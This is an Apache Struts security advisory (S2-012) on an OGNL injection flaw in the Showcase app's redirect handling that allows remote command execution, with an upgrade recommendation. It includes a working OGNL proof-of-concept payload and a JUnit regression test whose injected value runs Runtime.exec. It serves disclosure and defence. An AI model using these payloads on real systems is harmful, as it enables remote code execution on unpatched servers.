S2-012

Summary

Showcase app vulnerability allows remote command execution

Who should read this	All Struts 2 developers
Impact of vulnerability	Remote command execution
Maximum security rating	Important
Recommendation	Developers should immediately upgrade to Struts 2.3.14.3
Affected Software	Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
Reporter	Xgc Kxlzx, Alibaba Security Team
CVE Identifier	CVE-2013-1965
Original Description	Reported directly to security@a.o

Problem

OGNL provides, among other features, extensive expression evaluation capabilities.
A request that included a specially crafted request parameter could be used to inject arbitrary OGNL code into a property, afterward used as request parameter of a redirect address, which will cause a further evaluation.

OGNL evaluation was already addressed in S2-003 and S2-005 and S2-009, but, since it involved just the parameter's name, it turned out that the resulting fixes based on whitelisting acceptable parameter names and denying evaluation of the expression contained in parameter names, closed the vulnerability only partially.

The second evaluation happens when redirect result reads it from the stack and uses the previously injected code as redirect parameter.
This lets malicious users put arbitrary OGNL statements into any unsanitized String variable exposed by an action and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

Proof of concept

1. Run struts2-showcase
2. Open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRING-DEV
3. write skill name to %{expr} for example:

```
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']
=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.
println('hacked by kxlzx'),#hackedbykxlzx.close())}
```

4. submit the form

The issue, in order to work, need a redirect result defined as the following:

```
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
    <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
```

JUnit Version

```
public void testUnsecureRedirect() {
    final String pwnDir = "/tmp/PWNAGE";
    final Map<String, String> fakeAction = new HashMap<String, String>() {
        {
            put("skillName", "%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess
['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec('mkdir " + pwnDir + "'))}");
        }
    };

    String location = "/context/edit.action?skillName=true";
    responseMock.expectAndReturn("encodeRedirectURL", C.anyArgs(1), location);
    responseMock.expect("sendRedirect", C.args(C.eq(location)));
    requestMock.expectAndReturn("getAttribute", C.args(C.eq("javax.servlet.include.servlet_path")), location);

    ValueStack stack = ai.getStack();
    stack.push(fakeAction);

    view.setLocation("edit.action?skillName=${skillName}");
    view.setParse(true);


    try {
        view.execute(ai);

        requestMock.verify();

        File pwn = new File(pwnDir);
        boolean exists = pwn.exists();
        FileUtils.deleteDirectory(pwn);
        assertFalse("Remote exploit: The PWN folder has been created", exists);

        Object dme = stack.getContext().get("xwork.MethodAccessor.denyMethodExecution");

        assertTrue("DenyMethodExecution has been disabled", dme == null || BooleanUtils.toBoolean(dme.
toString()));

    } catch (Exception e) {
        e.printStackTrace();
        fail();
    }
}
```

Solution

The OGNLUtil class was changed to deny eval expressions by default.

> **It is strongly recommended to upgrade to Struts 2.3.14.3, which contains the corrected OGNL and XWork library.**